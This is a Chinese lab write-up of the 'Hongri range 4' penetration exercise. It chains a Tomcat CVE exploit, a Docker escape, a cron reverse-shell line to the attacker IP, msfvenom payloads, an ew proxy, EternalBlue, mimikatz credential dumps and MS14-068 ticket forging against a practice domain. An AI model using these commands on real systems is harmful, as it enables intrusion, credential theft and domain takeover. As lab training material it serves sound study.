红日靶场-4

news2024/11/26 7:02:06

环境搭建

我们这里会拿到三台主机,一台web主机,一台win7主机,一台DC主机

机器密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008 登陆后需修改密码,我这里修改为1qaz@WSX

网络配置

首先我们先将我们的VMnet2网卡网段改成192.168.183.0,如下所示

image-20241124140939050

WEB主机配置

由于处于DMZ区域,所以我们这里给WEB机配置两张网卡,如下所示

image-20241124141326955

891fa3ffd3368ac35ad4fd32e204424d

WIN7主机配置

WIN7主机只需配置一张内网网卡即可

image-20241124141538721

image-20241124142526854

DC主机配置

DC主机也只需配置一张内网网卡即可

image-20241124142448196

所以我们这里可以总结为下表

名称内网IP外网IP
攻击机192.168.20.143
WEB192.168.183.7192.168.20.145
WIN7192.168.183.6
DC192.168.183.130

开启web服务

我们在web服务器上启动docker服务,执行以下命令

sudo docker start ec 17 09 bb da 3d ab ad

44693b104cc09832c2c625e3d73d1766

有报错可以不用管,是正常的

外网边界探测

我们首先使用fscan扫描一下这台机子开启了哪些服务,如下所示

image-20241124144256010

我们这里只扫出来了一个22端口,但是我们肯定知道其是开放了web端口的,所以我们换一个工具扫描,我们这里先尝试使用massccan进行扫描,同时也使用nmap进行扫描

masscan 192.168.20.145 -p0-65535
nmap -O -sV -p- -A 192.168.20.145

image-20241124145053230

我们可以看到200120022003端口都是web服务端口,我们这里尝试访问这三个端口

image-20241124145311982

image-20241124145321248

image-20241124145330790

这三个网站好像都有洞可以打进去,逆天了,我们这边都演示一下吧

Struts2漏洞getshell

Struts是一个框架漏洞,我们这里利用Struts2漏洞检测工具进行检测,如下所示

image-20241124145922398

我们这里直接可以执行命令,如下所示

image-20241124150204446

然后我们就可以上传我们的msf木马到我们的指定目录,进而可以getshell,这里就不继续演示了

phpmyadmin漏洞

phpmyadmin在我之前的文章中写过如何进行getshell,就是写入一句话木马,然后再反弹shell即可,具体步骤参考

红日靶场-1 | Borgeousのblog

这个漏洞和版本没关系,只要我们能拿到phpmyadmin的管理权我们就可以这样操作,主要是这个网站的phpmyadmin没有密码保护

Tomcat getshell

我们这里使用nuclei扫描一下网站可能存在的漏洞,如下所示,帮我们扫描出来了CVE-2017-12617,我们尝试使用msf进行利用这个CVE

image-20241124153214315

image-20241124153558101

我们设置好rhost和rport后直接run即可,这样我们就获取了shell权,如下所示

image-20241124153912445

由于不是完整的shell,我们执行下面的语句获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

但是我们这里没有任何反应,我们这里先不管他了,只是会比较麻烦,看着不舒服,但不影响,我们接下来进行信息收集

系统信息收集

我们首先在本地开启一个web服务,如下所示

image-20241124155423797

然后我们在靶机上下载我们提前准备好的linpeas.sh,如下所示

image-20241124155703598

我们利用这个自动化脚本帮我们收集该linux系统的基本信息

image-20241124155930479

我们在这里发现我们处于docker容器中,所以我们现在首要目标就是从docker容器中逃逸出来,这个脚本并没有给我们任何逃逸的信息,我们只能尝试自己去发现

docker逃逸

由于我们这里是以特权方式启动的docker,所以我们可以尝试使用特权模式进行docker容器逃逸,使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

我们首先执行fdisk -l产看磁盘挂载信息,如下所示

image-20241124163320950

我们这里可以看到我们靶机的主磁盘为/dev/sda1,我们首先先创建一个文件夹来挂载

mkdir /borgeous
mount /dev/sda1 /borgeous

image-20241124163713385

我们接下来就可以通过对主文件的操作,来进行权限获取,我们现在写一个定时任务,设定每秒都执行即可

echo '* * * * * bash -i >& /dev/tcp/192.168.20.143/9001 0>&1' >> /var/spool/cron/crontabs/root

但是我们发现这个系统没有定时任务,即没安装定时任务,所以我们只能换一种思路,我们把本机的公钥放到对方靶机上,这样就能实现免密登录了,如下所示

我们还是开启web服务,然后靶机从我们的web服务上下载密钥

image-20241124165519919

然后我们将这个密钥放入.ssh文件夹中即可

cp id_rsa.pub /borgeous/home/ubuntu/.ssh/authorized_keys

image-20241124170311758

记得赋予authorized_keys权限,然后我们直接尝试用ssh登录即可,但是我们这里还是失败了,我也不知道为什么失败,这里直接使用密码登录吧,密码是ubuntu,我们直接登录上去即可

image-20241124180532149

sudo提权

我们进去了之后执行sudo -l,出现如下界面

image-20241124181649693

说明当前用户把我们的Ubuntu用户配置成了root权限,所以我们直接执行sudo /bin/bash -p获取root权限即可,如下所示

image-20241124181852616

内网渗透

msf上线

我们这里先用msf生成一个控制文件,如下所示

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.143 LPORT=9999 -f elf > shell.elf

然后我们在我们的攻击机上开启msf控制台,如下所示

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.20.143
set LPORT 9999
exploit

image-20241125113114328

我们开启web服务,让靶机下载我们准备好的恶意elf文件,如下所示

image-20241125113252032

添加可执行权限,执行即可

image-20241125114028236

我们这里成功收到了权限,接下来就是创建代理扫描存活主机

image-20241125114153845

我们这里发现网段为192.168.183.0,我们直接使用ew进行内网穿透

ew内网代理

我们在攻击机上执行以下命令

chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

image-20241125140052130

之后我们通过web服务将ew上传到靶机上去,如下,然后执行以下命令

./ew_for_linux64 -s rssocks -d 192.168.20.143 -e 1234

image-20241125140609290

当我们靶机出现这个界面的时候说明已经成功了,接下来再修改一下proxychain的配置文件即可,我们添加一句

socks5 127.0.0.1 1080

然后我们试着去ping一下内网,如果可以ping通,就说明我们内网代理设置成功

image-20241125142738559

我们这里成功挂上内网代理,接下来进行内网信息收集

内网信息收集

我们首先使用fscan扫一下全网段,如下所示

image-20241125143053477

image-20241125143124979

我们这里帮我们扫出来了三台机子,分别是192.168.183.6192.168.183.7192.168.183.130,其中192.168.183.7是我们的Ubuntu虚拟机,我们可以不用管它,同时fscan帮我们扫出来两台机子都存在MS17-010漏洞,且192.168.183.130为DC域控。这边显示出域名为WIN-ENS2VR5TR3N.demo.com,我们接下来使用两台机子存在的漏洞进行横向移动

横向移动

我们使用msf的模块,先对域控主机的永恒之蓝漏洞进行攻击,如下所示

image-20241125143858831

我们这里使用use 0,然后就是设置监听机和监听端口,这里就不再赘述

image-20241125144350365

但是我们这里失败了,我们先尝试去打一打另外一台主机,用同样的方式进行攻击

image-20241125144759459

也没成功,红温了,换个payload试试,换成正向连接试试

set payload windows/x64/meterpreter/bind_tcp

密码的,一开始就是一直不成功,一直显示连接不上

image-20241125151652898

后来重启了一下靶机,突然就可以了,也是很离谱,我们这里拿到权限后先进行进程迁移,不然马上就会断开

image-20241125151932269

image-20241125152034291

我们试着获取system权限,使用getsystem命令获取system权限

image-20241125152240225

我们这里成功获取了system权限,接下来我们使用hash传递进行攻击DC机器,但是这里还有一个问题,就是会话老是被断开,再重复打的过程中,成功把win7干死机了,我这里始终连不上稳定的shell,后续直接在win7上进行了,我真的吐了,我也不知道为什么

MS14-068提权

由于我们靶机的桌面上已经有mimikatz了,所以我们直接运行即可,如下所示

image-20241125201520609

我们首先先抓取一下本机哈希,如下所示

sekurlsa::logonpasswords

img

USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123

接下来我们利用MS14-068进行提权获得域控

该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限

我们操作步骤如下,我们首先生成高权限票据

MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

img

将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。

img

这就告诉我们没有权限,我们要清除我们的已有票据,如下所示

打开mimikatz

输入kerberos::purge

当看到"Ticket(s) purge for current session is OK’时,表示清除成功

img

接着我们将高权限票据注入即可

kerberos::ptc "TGT_douser@DEMO.COM.ccache"

img

注入成功

img

img

我们成功控制到域控文件系统,接下来我们就可以生成后门木马文件并上传到我们的域控C盘,进而拿到我们的DC控制权,本题到此结束

总结

内网东西太多太杂了,而且很容易出现各种问题,msf使用还是不够熟练,还是得多练,还是得加强训练,太菜了呜呜呜

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2247697.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用八爪鱼爬虫抓取汽车网站数据,分析舆情数据

我是做汽车行业的,可以用八爪鱼爬虫抓取汽车之家和微博上的汽车文章内容,分析各种电动汽车口碑数据。 之前,我写过很多Python网络爬虫的案例,使用requests、selenium等技术采集数据,这次尝试去采集小米SU7在微博、汽车…

具有多个表盘、心率传感器、指南针和游戏的 DIY 智能手表

在此,我们将使用所学到的知识,结合使用硬件和软件组件从头开始创建自己的智能手表。在项目的这一部分,您将被指导完成组装硬件组件、设置软件以及配置智能手表的设置和功能的过程。到本项目结束时,您将拥有一款功能齐全的智能手表…

Django+Nginx+uwsgi网站Channels+redis+daphne多人在线聊天实现粘贴上传图片

在DjangoNginxuwsgi网站Channelsredisdaphne多人在线的基础上(详见DjangoNginxuwsgi网站使用Channelsredisdaphne实现简单的多人在线聊天及消息存储功能-CSDN博客),实现在输入框粘贴或打开本地图片,上传到网站后返回图片路径&…

[ubuntu]编译共享内存读取出现read.c:(.text+0x1a): undefined reference to `shm_open‘问题解决方案

问题log /tmp/ccByifPx.o: In function main: read.c:(.text0x1a): undefined reference to shm_open read.c:(.text0xd9): undefined reference to shm_unlink collect2: error: ld returned 1 exit status 程序代码 #include <stdio.h> #include <stdlib.h> #…

Otter 安装流程

优质博文&#xff1a;IT-BLOG-CN 一、背景 随着公司的发展&#xff0c;订单库的数据目前已达到千万级别&#xff0c;需要进行分表分库&#xff0c;就需要对数据进行迁移&#xff0c;我们使用了otter&#xff0c;这里简单整理下&#xff0c;otter 的安装过程&#xff0c;希望对…

wsl2的Ubuntu18.04安装ros和anaconda

参考&#xff1a;超详细 WSL2 安装 ros 和 anaconda_wsl2安装anaconda-CSDN博客 一.安装ros 1. 更换系统源 输入 wget http://fishros.com/install -O fishros && . fishros 和上面的链接一样&#xff0c;依次输入5-2-1 2. 安装ros 输入 wget http://fishros.c…

鸿蒙NEXT开发案例:字数统计

【引言】 本文将通过一个具体的案例——“字数统计”组件&#xff0c;来探讨如何在鸿蒙NEXT框架下实现这一功能。此组件不仅能够统计用户输入文本中的汉字、中文标点、数字、以及英文字符的数量&#xff0c;还具有良好的用户界面设计&#xff0c;使用户能够直观地了解输入文本…

【经典】抽奖系统(HTML,CSS、JS)

目录 1、添加参与者 2、多次添加 3、点击抽奖 功能介绍&#xff1a; 使用方法&#xff1a; 完整代码&#xff1a; 一个简单但功能强大的抽奖系统的示例&#xff0c;用于在网页上实现抽奖。 1、添加参与者 2、多次添加 3、点击抽奖 功能介绍&#xff1a; 参与者添加&…

用树莓派Pico控制8×8 LED点阵屏:深入解析C++核心知识与动态显示实现

88 LED点阵屏是一种直观的硬件显示工具,广泛应用于嵌入式开发中。本项目结合树莓派Pico和HT16K33驱动芯片,通过C++编程实现动态图案和文字的显示功能。本文将全面解析项目中的C++核心知识点,帮助读者深入理解C++在硬件编程中的实际应用。 一、项目背景与硬件简介 1. 项目目…

什么是 WPF 中的依赖属性?有什么作用?

依赖属性&#xff08;Dependency Property&#xff09;是 WPF 的一个核心概念&#xff0c;它为传统的 .NET 属性提供了增强功能&#xff0c;支持绑定、样式、动画和默认值等功能。通过依赖属性&#xff0c;WPF 提供了一种灵活的数据驱动的方式来处理 UI 属性。 1. 什么是依赖属…

视频分析设备平台EasyCVR视频设备轨迹回放平台与应急布控球的视频监控方案

在现代社会&#xff0c;随着城市化进程的加快和信息技术的不断进步&#xff0c;对于公共安全、交通管理、城市管理以及环境保护等领域的监控需求日益增长。应急布控球与EasyCVR视频监控方案的结合&#xff0c;正是为了满足这些领域对实时监控和快速响应的需求。这一组合利用最新…

MySQL原理简介—12.MySQL主从同步

大纲 1.异步复制为MySQL搭建一套主从复制架构 2.半同步复制为MySQL搭建一套主从复制架构 3.GTID为MySQL搭建一套主从复制架构 4.并行复制降低主从同步延迟或强制读主库 1.异步复制为MySQL搭建一套主从复制架构 (1)MySQL主从复制的原理 (2)搭建主从复制架构的配置 (1)MySQ…

Node报错:npm error code ETIMEDOUT

1、报错详细信息 npm error code ETIMEDOUT npm error syscall connect npm error errno ETIMEDOUT npm error network request to https://registry.npmjs.org/express failed, reason: connect ETIMEDOUT 104.16.1.35:443 npm error network This is a problem related to ne…

一篇文章了解Linux

目录 一&#xff1a;命令 1 ls命令作用 2 目录切换命令&#xff08;cd/pwd&#xff09; &#xff08;1)cd切换工作目录命令 3 相对路径、绝对路径和特殊路径 (1)相对路径和绝对路径的概念和写法 (2)几种特殊路径的表示符 (3)练习题&#xff1a; 4 创建目录命令&#x…

用Matlab和SIMULINK实现DPCM仿真和双边带调幅系统仿真

1、使用SIMULINK或Matlab实现DPCM仿真 1.1 DPCM原理 差分脉冲编码调制&#xff0c;简称DPCM&#xff0c;主要用于将模拟信号转换为数字信号&#xff0c;同时减少数据的冗余度以实现数据压缩。在DPCM中&#xff0c;信号的每个抽样值不是独立编码的&#xff0c;而是通过预测前一…

BERT的工作原理

BERT的工作原理 BERT的工作原理&#xff1a; Transformer的编码器是双向的&#xff0c;它可以从两个方向读取一个句子。因此&#xff0c;BERT由Transformer获得双向编码器特征。 我们把句子A&#xff08;He got bit by Python&#xff09;送入Transformer的编码器&#xff0c…

5.STM32之通信接口《精讲》之IIC通信---软件IIC与外设MPU6050通信《深入浅出》面试必备

上一节&#xff0c;我们完成对IIC通信的时序以及IIC的通信的讲解和代码实现&#xff0c;接下来&#xff0c;我们正式进入&#xff0c;利用上一节软件实现的IIC通信协议来对外设MPU6050进行读写操作。(本节IIC代码在上节) 本节&#xff0c;目的很明确&#xff0c;就是利用软件I…

解决k8s拉取私有镜像401 Unauthorized 问题

拉取镜像时未指定账户和密码通常是因为需要访问的镜像仓库启用了认证&#xff0c;但 Kubernetes 默认配置中未提供访问凭据。要解决此问题&#xff0c;可以按照以下步骤配置镜像仓库的认证信息&#xff1a; 1. 创建 Kubernetes Secret 为镜像仓库配置访问凭据&#xff0c;使用…

【Linux课程学习】:环境变量:HOME,su与su - 的区别,让程序在哪些用户下能运行的原理,环境变量具有全局性的原因?

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux课程学习 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 HOME环境变量&#xff1a; PWD环境变量&#…

不只是请求和响应:使用Fiddler抓包HTTP协议全指南(上)

欢迎浏览高耳机的博客 希望我们彼此都有更好的收获 感谢三连支持! &#x1f649;你是一名侦探 ! 正在追踪一条条数字化的线索。从简单的网页浏览到复杂的在线交易&#xff0c;每一次点击和滑动背后都隐藏着复杂的数据交换。每一个HTTP请求和响应都像是现场留下的指纹&#xf…